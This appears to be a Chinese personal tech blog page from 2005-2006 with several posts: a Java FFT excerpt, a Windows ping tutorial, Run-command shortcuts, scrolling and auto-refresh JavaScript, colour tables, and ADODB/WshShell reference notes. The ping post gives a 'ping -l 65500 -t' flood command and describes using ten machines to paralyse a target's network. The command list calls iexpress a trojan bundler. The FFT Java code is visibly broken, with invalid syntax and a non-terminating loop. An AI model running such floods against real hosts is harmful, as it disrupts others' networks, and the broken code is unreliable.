我的人生路  
日历
<2005年7月>
262728293012
3456789
10111213141516
17181920212223
24252627282930
31123456
统计
  • 随笔 - 74
  • 文章 - 57
  • 评论 - 7
  • 引用 - 0

导航

常用链接

留言簿(5)

随笔分类

随笔档案

文章分类

文章档案

相册

颜色

搜索

  •  

最新评论

阅读排行榜

评论排行榜

 

2005年7月1日

在java算法(Scott robert ladd)中看到快速傅立叶变换,讲的很详细,摘录下来跟大家分享!
以下正文:
FFT或许是已知的最有效的算法,他应用范围广。从信号的处理到数据压缩到地震分析和图形放大,FFT通过领域间的信息转换
提供了一个强有力的工具,本节讲讨论FFT如何改进多项式乘法的性能:
 到目前为止,我用系数形式表示多项式,但有些应用程序最适合用point-value形式表示多项式,任何多项式都可被n个点值
 对来表示,这里,value是多项式在给定点point的值,许多数学应用要使用FFT实现点值和系数之间的快速变换。
    两个多项式A和B快速相乘的过程如下:
 1,用同一组值把A和B从十形式转换为点值形式pA和pB。
 2。pA和pB对应的点值相乘,得到pC。
 3。对pC进行插值得到系数多项式C,他等于A乘上B。
表面上看,上述算法比在mul中使用之际相乘并不高效--却更复杂,选择合适的计算值可以使点-值乘法非常快。

public class PolynomialFFTextends polynomial
{
 //utility field
 final protected static Complex p|2|=new Complex(0.0D,6.283185307179586D);

 //utility methods
 protected static int log2(int n)
 {
  int x=1;
  int c=0;
  while(true)
  {
   if (x>=n) break;
   ++c;
   x<<=1;
   if (x==0) break;
   
  }
  return c;
 }
 protected static int FlipBits(int k,int bits)
 {
  int lm=1<<(bits-1);
  int rm=1;
  int r=0;
  while (lm != 0)
  {
   if ((k&rm)!=0)
   {
    r|=lm;
    lm>>=1;
    rm<<=1;
   }
  }
  return r;
 }
};

//increase degree to power of two
protected static PolynomialFFT stretchFFT(PolynomialFFT p)
{
 int n=1;
 int d=p.m_nDegree;
 while(true)
 {
  if (d<=n) break;
  n<<=1;
  if (n==0)
  {
   throw new ArithmeticException("StretchFFT failed");
  }
  n<<=1;
  return new PolynomialFFT(p.stretch(n));
 }
}

//待续

posted @ 2006-02-16 10:16 一天一点爱恋 阅读(1080) | 评论 (0)编辑 收藏
 

ping命令详解

        对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。
现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:

     Options:


-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。


-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。

r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)


Pinging 202.96.105.101 with 32 bytes of data:


Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90


Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,TTL 字段值可以帮助我们识别操作系统类型。
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff
255---FF
  128---80
  64----40
  32----20
好了,ping命令也基本上完全讲解完了,其中还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当中有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。
 

posted @ 2005-12-30 13:46 一天一点爱恋 阅读(280) | 评论 (0)编辑 收藏
 

Windows 开始→运行→命令 集锦
winver---------检查Windows版本  
wmimgmt.msc----打开windows管理体系结构(WMI)  
wupdmgr--------windows更新程序  
wscript--------windows脚本宿主设置  
write----------写字板  
winmsd---------系统信息  
wiaacmgr-------扫描仪和照相机向导  
winchat--------XP自带局域网聊天  

mem.exe--------显示内存使用情况  
Msconfig.exe---系统配置实用程序  
mplayer2-------简易widnows media player  
mspaint--------画图板  
mstsc----------远程桌面连接  
mplayer2-------媒体播放机  
magnify--------放大镜实用程序  
mmc------------打开控制台  
mobsync--------同步命令  

dxdiag---------检查DirectX信息  
drwtsn32------ 系统医生  
devmgmt.msc--- 设备管理器  
dfrg.msc-------磁盘碎片整理程序  
diskmgmt.msc---磁盘管理实用程序  
dcomcnfg-------打开系统组件服务  
ddeshare-------打开DDE共享设置  
dvdplay--------DVD播放器  

net stop messenger-----停止信使服务  
net start messenger----开始信使服务  
notepad--------打开记事本  
nslookup-------网络管理的工具向导  
ntbackup-------系统备份和还原  
narrator-------屏幕“讲述人”  
ntmsmgr.msc----移动存储管理器  
ntmsoprq.msc---移动存储管理员操作请求  
netstat -an----(TC)命令检查接口  

syncapp--------创建一个公文包  
sysedit--------系统配置编辑器  
sigverif-------文件签名验证程序  
sndrec32-------录音机  
shrpubw--------创建共享文件夹  
secpol.msc-----本地安全策略  
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码  
services.msc---本地服务设置  
Sndvol32-------音量控制程序  
sfc.exe--------系统文件检查器  
sfc /scannow---windows文件保护  

tsshutdn-------60秒倒计时关机命令  
tourstart------xp简介(安装完成后出现的漫游xp程序)  
taskmgr--------任务管理器  

eventvwr-------事件查看器  
eudcedit-------造字程序  
explorer-------打开资源管理器  

packager-------对象包装程序  
perfmon.msc----计算机性能监测程序  
progman--------程序管理器  

regedit.exe----注册表  
rsop.msc-------组策略结果集  
regedt32-------注册表编辑器  
rononce -p ----15秒关机  
regsvr32 /u *.dll----停止dll文件运行  
regsvr32 /u zipfldr.dll------取消ZIP支持  

cmd.exe--------CMD命令提示符  
chkdsk.exe-----Chkdsk磁盘检查  
certmgr.msc----证书管理实用程序  
calc-----------启动计算器  
charmap--------启动字符映射表  
cliconfg-------SQL SERVER 客户端网络实用程序  
Clipbrd--------剪贴板查看器  
conf-----------启动netmeeting  
compmgmt.msc---计算机管理  
cleanmgr-------垃圾整理  
ciadv.msc------索引服务程序  

osk------------打开屏幕键盘  
odbcad32-------ODBC数据源管理器  
oobe/msoobe /a----检查XP是否激活  
lusrmgr.msc----本机用户和组  
logoff---------注销命令  

iexpress-------木马捆绑工具,系统自带  

Nslookup-------IP地址侦测器  

fsmgmt.msc-----共享文件夹管理器  

utilman--------辅助工具管理器  

gpedit.msc-----组策略

posted @ 2005-12-30 13:41 一天一点爱恋 阅读(400) | 评论 (0)编辑 收藏
 
 我想大家都看过各种各样的滚动(最常用的就是用在新闻的更新上面),一般情况下只要不是图片,都是用HTML本身就有提供一个很不错的滚动标记——marquee来完成的(用JS也可以同样实现这种效果);当然并不是说图片就不能那样做。
  以下为marquee的一些基本的参数:
  该标记语法格式如下:
<marquee
aligh=left|center|right|top|bottom
bgcolor=#n
direction=left|right|up|down
behavior=type
height=n
hspace=n
scrollamount=n
Scrolldelay=n
width=n
VSpace=n
loop=n>内容</marquee>

  下面解释一下各参数的含义:
  align:是设定活动字幕的位置,除了居左、居中、居右三种位置外,又增加靠上(top)和靠下(bottom)两种位置。
  Bgcolor:用于设定活动字幕的背景颜色,可以使用英文的单词也可以是十六进制数的。
  Direction:用于设定活动字幕的滚动方向是向左(left)、向右(right)、向上(up)、向下(down)。
  Behavior:用于设定滚动的方式,主要由三种方式:
behavior="scroll"表示由一端滚动到另一端;
behavior="slide":表示由一端快速滑动到另一端,且不再重复;
behavior="alternate"表示在两端之间来回滚动。
  Height:用于设定滚动字幕的高度。
  Width:则设定滚动字幕的宽度。
  Hspace和vspace:分别用于设定滚动字幕的左右边框和上下边框的宽度。
  Scrollamount:用于设定活动字幕的滚动距离。数值越小,滚动的速度就越快。
  scrolldelay:用于设定滚动两次之间的延迟时间,数值越小,间隔就越小。
  Loop:用于设定滚动的次数,当loop=-1表示一直滚动下去,直到页面更新。其中默认情况是向左滚动无限次,字幕高度是文本高度;滚动范围:水平滚动的宽度是当前位置的宽度;垂直滚动的高度是当前位置的高度。

  现在要介绍的是一种新型的滚动,利用JS的方法来做字幕的滚动:向上,在中间停顿一到两秒(就像经典的这种):
  将以下代码贴到您要显示的位置就可以了:
<script>
var marqueeContent=new Array(); //定义一个数组,用来存放显示内容
marqueeContent[0]='<A href="#" onclick="reinitMarquee()">刷新最新列表</FONT></A>';
marqueeContent[1]='<a href=http://www.blueidea.com/updatelist.asp target=_blank>站点最新更新六十条</a>';
marqueeContent[2]='<A href=http://www.blueidea.com/tech/graph/2003/875.asp target=_blank>羽毛效果制作教程</a>';
marqueeContent[3]='<A href=http://www.blueidea.com/tech/program/2003/831.asp target=_blank>MySQL&ASP</a>';
marqueeContent[4]='<A href=http://www.blueidea.com/tech/web/2003/874.asp target=_blank>初步了解CSS3</a>';
marqueeContent[5]='<A href=http://www.blueidea.com/tech/graph/2003/864.asp target=_blank>Fireworks MX 2004执行面版操作</a>';
marqueeContent[6]='<A href=http://www.blueidea.com/tech/graph/2003/872.asp target=_blank>Fireworks MX 2004等高渐变填充</a>';
marqueeContent[7]='<A href=http://www.blueidea.com/photo/gallery/2003/873.asp target=_blank>瓶子里的花</a>';
marqueeContent[8]='<A href=http://www.blueidea.com/tech/graph/2003/871.asp target=_blank>Fireworks MX 实现选项卡式效果</a>';
marqueeContent[9]='<A href=http://www.blueidea.com/photo/gallery/2003/870.asp target=_blank>情侣:黑白的爱情空气</a>';
marqueeContent[10]='<A href=http://www.blueidea.com/tech/graph/2003/866.asp target=_blank>制作 MAC 风格的苹果标志</a>';
marqueeContent[11]='<A href=http://www.blueidea.com/tech/graph/2003/868.asp target=_blank>蛋壳制作及破壳而出的人物合成</a>';

var marqueeInterval=new Array(); //定义一些常用而且要经常用到的变量
var marqueeId=0;
var marqueeDelay=4000;
var marqueeHeight=16;

//接下来的是定义一些要使用到的函数
Array.prototype.random=function() {
var a=this;
var l=a.length;
for(var i=0;i<l;i++) {
var r=Math.floor(Math.random()*(l-i));
a=a.slice(0,r).concat(a.slice(r+1)).concat(a[r]);
}
return a;
}
function initMarquee() {
marqueeContent=marqueeContent.random();
var str='';
for(var i=0;i<Math.min(3,marqueeContent.length);i++) str+=(i>0?'  ':'')+marqueeContent[i];
document.write('<div id=marqueeBox style="overflow:hidden;height:'+marqueeHeight+'px" onmouseover="clearInterval(marqueeInterval[0])" onmouseout="marqueeInterval[0]=setInterval(\'startMarquee()\',marqueeDelay)"><div>'+str+'</div></div>');
marqueeId+=2;
if(marqueeContent.length>3)marqueeInterval[0]=setInterval("startMarquee()",marqueeDelay);
}
function reinitMarquee() {
js_scroll_content.src='scroll_content2.js';
marqueeContent=marqueeContent.random();
var str='';
for(var i=0;i<Math.min(3,marqueeContent.length);i++) str+=(i>0?'  ':'')+marqueeContent[i];
marqueeBox.childNodes[(marqueeBox.childNodes.length==1?0:1)].innerHTML=str;
marqueeId=2;
}
function startMarquee() {
var str='';
for(var i=0;(i<3)&&(marqueeId+i<marqueeContent.length);i++) {
str+=(i>0?'  ':'')+marqueeContent[marqueeId+i];
}
marqueeId+=3;
if(marqueeId>marqueeContent.length)marqueeId=0;

if(marqueeBox.childNodes.length==1) {
var nextLine=document.createElement('DIV');
nextLine.innerHTML=str;
marqueeBox.appendChild(nextLine);
}
else {
marqueeBox.childNodes[0].innerHTML=str;
marqueeBox.appendChild(marqueeBox.childNodes[0]);
marqueeBox.scrollTop=0;
}
clearInterval(marqueeInterval[1]);
marqueeInterval[1]=setInterval("scrollMarquee()",20);
}
function scrollMarquee() {
marqueeBox.scrollTop++;
if(marqueeBox.scrollTop%marqueeHeight==(marqueeHeight-1)){
clearInterval(marqueeInterval[1]);
}
}
initMarquee();
</script>

  以上已经将网站的这种滚动的做法做了一个大概的介绍。
posted @ 2005-07-29 11:39 一天一点爱恋 阅读(432) | 评论 (0)编辑 收藏
 
<script>
<!--

var limit="0:15"

if (document.images){
var parselimit=limit.split(":")
parselimit=parselimit[0]*60+parselimit[1]*1
}
function beginrefresh(){
if (!document.images)
return
if (parselimit==1)
window.location.reload()
else{
parselimit-=1
curmin=Math.floor(parselimit/60)
cursec=parselimit%60
if (curmin!=0)
curtime=curmin+"分"+cursec+"秒后重刷本页!"
else
curtime=cursec+"秒后重刷本页!"
window.status=curtime
setTimeout("beginrefresh()",1000)
}
}

window.onload=beginrefresh
//-->
</script>

以上代码加入HEAD区即可。

说明:有人说,我可以使用<meta http-equiv="refresh">来刷新当前页面,为什么要用这个脚本呢?是的,的确是这样。但是这个脚本可以在状态栏显示剩余的时间。不管怎样,随您的便。其实这个脚本可以作出其它许多花样的。如果将window.location.reload()改成window.location.href="http://www.yahoo.com"等地址,可以在规定时间到来后指向任意的页面。

源程序讲解:

var limit="0:10"
声明一个变量,表示几分几秒。
if (document.images)
{ var parselimit=limit.split(":")
用“;”分隔变量limit。
parselimit=parselimit[0]*60+
parselimit[1]*1}
把limit变量变成秒数,并返回整数。
function beginrefresh()
{ if (!document.images)
return
定义刷新函数。
if (parselimit==1)
window.location.reload()
else{ parselimit-=1
curmin=Math.floor(parselimit/60) cursec=parselimit%60
if (curmin!=0)
curtime=curmin+"分"+cursec+
"秒后重刷本页!"
else curtime=cursec+"秒后重刷本页!"
window.status=curtime
如果,还剩一秒,就刷新页面,否则,对limit变量取整,在状态栏中输出“几分几秒后刷新本页”。

setTimeout("beginrefresh()",1000) }} 一秒,调用一次beginrefresh()函数。
window.onload=beginrefresh 页面一下载,就调用beginrefresh函数。
源程序讲解:

var limit="0:10"
声明一个变量,表示几分几秒。
if (document.images)
{ var parselimit=limit.split(":")
用“;”分隔变量limit。
parselimit=parselimit[0]*60+
parselimit[1]*1}
把limit变量变成秒数,并返回整数。
function beginrefresh()
{ if (!document.images)
return
定义刷新函数。
if (parselimit==1)
window.location.reload()
else{ parselimit-=1
curmin=Math.floor(parselimit/60) cursec=parselimit%60
if (curmin!=0)
curtime=curmin+"分"+cursec+
"秒后重刷本页!"
else curtime=cursec+"秒后重刷本页!"
window.status=curtime
如果,还剩一秒,就刷新页面,否则,对limit变量取整,在状态栏中输出“几分几秒后刷新本页”。

setTimeout("beginrefresh()",1000) }} 一秒,调用一次beginrefresh()函数。
window.onload=beginrefresh 页面一下载,就调用beginrefresh函数。

posted @ 2005-07-15 16:26 一天一点爱恋 阅读(659) | 评论 (1)编辑 收藏
 
HTML源代码加密/解密工具

输入网址,可查看对方html源码: 

将要处理的HTML文档的源代码复制到下面的文本框内,可以进行多次加密解密:

           

posted @ 2005-07-14 17:38 一天一点爱恋 阅读(1956) | 评论 (0)编辑 收藏
 

-> 脚本编码/解码工具




说明:加密时应只加密脚本部分,不加密脚本标记<script language="javascript">,并且加密后脚本标记应改为:<script language="JScript.Encode">

posted @ 2005-07-14 17:36 一天一点爱恋 阅读(470) | 评论 (0)编辑 收藏
 
     摘要: 标准颜色参考工具 该表所有颜色来自于W3C的SVG颜色关键词,即X11的颜色列表,亦是CSS3颜色模块所指定的颜色。详情可参见: [X11颜色]和[SVG 1.0颜色关键词名称]及 [CSS3颜色模块] 。 本表共147行颜色值,除去以grey名命的重复颜色7行,共140种命名颜色。该七种颜色为: darkgrey,暗灰色;darkslategrey,暗瓦灰色;dimgrey,暗灰色...  阅读全文
posted @ 2005-07-14 17:17 一天一点爱恋 阅读(694) | 评论 (0)编辑 收藏
 

颜色工具

  • 资料来源:W3C
  • 下面的每一个表代表一种色调。每个色调以30度间隔从色环取得。
  • 表中的X轴代表饱和度(100%, 75%, 50%, 25%, 0%)。
  • Y轴代表亮度。50% 属于 '正常'。
0度   红
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFBFBF #F7C7C7 #EFCFCF #E7D7D7 #DFDFDF
75 #FF8080 #EF8F8F #DF9F9F #CFAFAF #BFBFBF
63 #FF4040 #E75858 #CF7070 #B78787 #9F9F9F
50 #FF0000 #DF2020 #BF4040 #9F6060 #808080
38 #BF0000 #A71818 #8F3030 #784848 #606060
25 #800000 #701010 #602020 #503030 #404040
13 #400000 #380808 #301010 #281818 #202020
0 #000000 #000000 #000000 #000000 #000000
30度   红-黄 (=橙)
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFDFBF #F7DFC7 #EFDFCF #E7DFD7 #DFDFDF
75 #FFBF80 #EFBF8F #DFBF9F #CFBFAF #BFBFBF
63 #FF9F40 #E79F58 #CF9F70 #B79F87 #9F9F9F
50 #FF8000 #DF8020 #BF8040 #9F8060 #808080
38 #BF6000 #A76018 #8F6030 #786048 #606060
25 #804000 #704010 #604020 #504030 #404040
13 #402000 #382008 #302010 #282018 #202020
0 #000000 #000000 #000000 #000000 #000000
60度   黄
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFFFBF #F7F7C7 #EFEFCF #E7E7D7 #DFDFDF
75 #FFFF80 #EFEF8F #DFDF9F #CFCFAF #BFBFBF
63 #FFFF40 #E7E758 #CFCF70 #B7B787 #9F9F9F
50 #FFFF00 #DFDF20 #BFBF40 #9F9F60 #808080
38 #BFBF00 #A7A718 #8F8F30 #787848 #606060
25 #808000 #707010 #606020 #505030 #404040
13 #404000 #383808 #303010 #282818 #202020
0 #000000 #000000 #000000 #000000 #000000
90度   黄-绿
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #DFFFBF #DFF7C7 #DFEFCF #DFE7D7 #DFDFDF
75 #BFFF80 #BFEF8F #BFDF9F #BFCFAF #BFBFBF
63 #9FFF40 #9FE758 #9FCF70 #9FB787 #9F9F9F
50 #80FF00 #80DF20 #80BF40 #809F60 #808080
38 #60BF00 #60A718 #608F30 #607848 #606060
25 #408000 #407010 #406020 #405030 #404040
13 #204000 #203808 #203010 #202818 #202020
0 #000000 #000000 #000000 #000000 #000000
120度   绿
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFFFBF #C7F7C7 #CFEFCF #D7E7D7 #DFDFDF
75 #80FF80 #8FEF8F #9FDF9F #AFCFAF #BFBFBF
63 #40FF40 #58E758 #70CF70 #87B787 #9F9F9F
50 #00FF00 #20DF20 #40BF40 #609F60 #808080
38 #00BF00 #18A718 #308F30 #487848 #606060
25 #008000 #107010 #206020 #305030 #404040
13 #004000 #083808 #103010 #182818 #202020
0 #000000 #000000 #000000 #000000 #000000
150度   绿-青
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFFFDF #C7F7DF #CFEFDF #D7E7DF #DFDFDF
75 #80FFBF #8FEFBF #9FDFBF #AFCFBF #BFBFBF
63 #40FF9F #58E79F #70CF9F #87B79F #9F9F9F
50 #00FF80 #20DF80 #40BF80 #609F80 #808080
38 #00BF60 #18A760 #308F60 #487860 #606060
25 #008040 #107040 #206040 #305040 #404040
13 #004020 #083820 #103020 #182820 #202020
0 #000000 #000000 #000000 #000000 #000000
180度   青
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFFFFF #C7F7F7 #CFEFEF #D7E7E7 #DFDFDF
75 #80FFFF #8FEFEF #9FDFDF #AFCFCF #BFBFBF
63 #40FFFF #58E7E7 #70CFCF #87B7B7 #9F9F9F
50 #00FFFF #20DFDF #40BFBF #609F9F #808080
38 #00BFBF #18A7A7 #308F8F #487878 #606060
25 #008080 #107070 #206060 #305050 #404040
13 #004040 #083838 #103030 #182828 #202020
0 #000000 #000000 #000000 #000000 #000000
210度   青-蓝
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFDFFF #C7DFF7 #CFDFEF #D7DFE7 #DFDFDF
75 #80BFFF #8FBFEF #9FBFDF #AFBFCF #BFBFBF
63 #409FFF #589FE7 #709FCF #879FB7 #9F9F9F
50 #0080FF #2080DF #4080BF #60809F #808080
38 #0060BF #1860A7 #30608F #486078 #606060
25 #004080 #104070 #204060 #304050 #404040
13 #002040 #082038 #102030 #182028 #202020
0 #000000 #000000 #000000 #000000 #000000
240度   蓝
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #BFBFFF #C7C7F7 #CFCFEF #D7D7E7 #DFDFDF
75 #8080FF #8F8FEF #9F9FDF #AFAFCF #BFBFBF
63 #4040FF #5858E7 #7070CF #8787B7 #9F9F9F
50 #0000FF #2020DF #4040BF #60609F #808080
38 #0000BF #1818A7 #30308F #484878 #606060
25 #000080 #101070 #202060 #303050 #404040
13 #000040 #080838 #101030 #181828 #202020
0 #000000 #000000 #000000 #000000 #000000
270度   蓝-紫
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #DFBFFF #DFC7F7 #DFCFEF #DFD7E7 #DFDFDF
75 #BF80FF #BF8FEF #BF9FDF #BFAFCF #BFBFBF
63 #9F40FF #9F58E7 #9F70CF #9F87B7 #9F9F9F
50 #8000FF #8020DF #8040BF #80609F #808080
38 #6000BF #6018A7 #60308F #604878 #606060
25 #400080 #401070 #402060 #403050 #404040
13 #200040 #200838 #201030 #201828 #202020
0 #000000 #000000 #000000 #000000 #000000
300度   紫
饱和度   
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFBFFF #F7C7F7 #EFCFEF #E7D7E7 #DFDFDF
75 #FF80FF #EF8FEF #DF9FDF #CFAFCF #BFBFBF
63 #FF40FF #E758E7 #CF70CF #B787B7 #9F9F9F
50 #FF00FF #DF20DF #BF40BF #9F609F #808080
38 #BF00BF #A718A7 #8F308F #784878 #606060
25 #800080 #701070 #602060 #503050 #404040
13 #400040 #380838 #301030 #281828 #202020
0 #000000 #000000 #000000 #000000 #000000
330度   紫-红
饱和度
100% 75% 50% 25% 0%
100 #FFFFFF #FFFFFF #FFFFFF #FFFFFF #FFFFFF
88 #FFBFDF #F7C7DF #EFCFDF #E7D7DF #DFDFDF
75 #FF80BF #EF8FBF #DF9FBF #CFAFBF #BFBFBF
63 #FF409F #E7589F #CF709F #B7879F #9F9F9F
50 #FF0080 #DF2080 #BF4080 #9F6080 #808080
38 #BF0060 #A71860 #8F3060 #784860 #606060
25 #800040 #701040 #602040 #503040 #404040
13 #400020 #380820 #301020 #281820 #202020
0 #000000 #000000 #000000 #000000 #000000

posted @ 2005-07-14 17:14 一天一点爱恋 阅读(606) | 评论 (0)编辑 收藏
 
1.Stream对象

组件:"Adodb.Stream"
有下列方法:
Cancel 方法
   使用方法如下
   Object.Cancel
   说明:取消执行挂起的异步 Execute 或 Open 方法的调用。
Close 方法
   使用方法如下
   Object.Close
   :关闭对像
CopyTo 方法
   使用方法如下
   Object.CopyTo(destStream,[CharNumber])
   说明:将对像的数据复制,destStream指向要复制的对像,CharNumber为可选参数,指要复制的字节数,不选为全部复制。
Flush 方法
   使用方法如下
   Object.Flush
   说明:
LoadFromFile 方法
   使用方法如下
   Object.LoadFromFile(FileName)
   说明:将FileName指定的文件装入对像中,参数FileName为指定的用户名。
Open 方法
    使用方法如下
    Object.Open(Source,[Mode],[Options],[UserName],[Password])
    说明:打开对像,
    参数说明:Sourece 对像源,可不指定
Mode 指定打开模式,可不指定,可选参数如下:
   adModeRead =1
   adModeReadWrite =3
   adModeRecursive =4194304
   adModeShareDenyNone =16
   adModeShareDenyRead =4
   adModeShareDenyWrite =8
   adModeShareExclusive =12
   adModeUnknown =0
   adModeWrite =2
Options 指定打开的选项,可不指定,可选参数如下:
   adOpenStreamAsync =1
   adOpenStreamFromRecord =4
   adOpenStreamUnspecified=-1
  UserName 指定用户名,可不指定。
  Password 指定用户名的密码
Read 方法
使用方法如下:
Object.Read(Numbytes)
说明:读取指定长度的二进制内容。
参数说明:Numbytes指定的要读取的找度,不指定则读取全部。

ReadText 方法
使用方法如下:
Object.ReadText(NumChars)
说明:读取指定长度的文本
参数说明:NumChars指定的要读取的找度,不指定则读取全部。

SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
说明:将对像的内容写到FileName指定的文件中
参数说明:FileName指定的文件
   Options 存取的选项,可不指定,可选参数如下:
    adSaveCreateNotExist =1
    adSaveCreateOverWrite =2

SetEOS 方法
使用方法如下:
Object.setEOS()
说明:
SkipLine 方法
使用方法如下:
Object.SkipLine()
说明:
Write 方法
使用方法如下:
Object.Write(Buffer)
说明:将指定的数据装入对像中。
参数说明:Buffer 为指定的要写入的内容。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
说明:将指定的文本数据装入对像中。
参数说明:Data 为指定的要写入的内容。
      Options 写入的选项,可不指定,可选参数如下:
   adWriteChar =0
   adWriteLine =1

 

有下列属性:
Charset
EOS 返回对像内数据是否为空。

LineSeparator 指定换行格式,可选参数有
  adCR  =13
  adCRLF  =-1
  adLF  =10

Mode 指定或返加模式。

Position 指定或返回对像内数据的当前指针。(新OPEN的:0)

Size 返回对像内数据的大小。

State 返加对像状态是否打开。

Type 指定或返回的数据类型,可选参数为:
  adTypeBinary =1
  adTypeText =2

2.WshShell和WshUrlShortcut 对象

WshShell 对象
ProgID Wscript.Shell
文件名 WSHom.Ocx
CLSID F935DC22-1CF0-11d0-ADB9-00C04FD58A0B
IID F935DC21-1CF0-11d0-ADB9-00C04FD58A0B

下表说明和 WshShell 对象有关的属性。

属性 说明
Environment 返回 WshEnvironment 集合对象。
SpecialFolders 使用 WshSpecialFolders 对象提供对 Windows shell 文件夹的访问,如桌面文件夹,开始菜单文件夹和个人文档文件夹。

下表说明和 WshShell 对象有关的方法。

方法 说明
CreateShortcut 创建并返回 WshShortcut 对象。
ExpandEnvironmentStrings 扩展 PROCESS 环境变量并返回结果字符串。
Popup 显示包含指定消息的消息窗口。
RegDelete 从注册表中删除指定的键或值。
RegRead 从注册表中返回指定的键或值。
RegWrite 在注册表中设置指定的键或值。
Run 创建新的进程,该进程用指定的窗口样式执行指定的命令。

WshShell.Environment
Environment 属性返回 WshEnvironment 对象。

语法
WshShell.Environment ( [strType]) = objWshEnvironment

注释
若 strType 指定了环境变量所处的位置,可能值为 "System"、"User"、"Volatile" 和 "Process"。若未提供 strType,则该方法在 Windows NT 中检索系统环境变量或在 Windows 95 中检索进程环境变量。

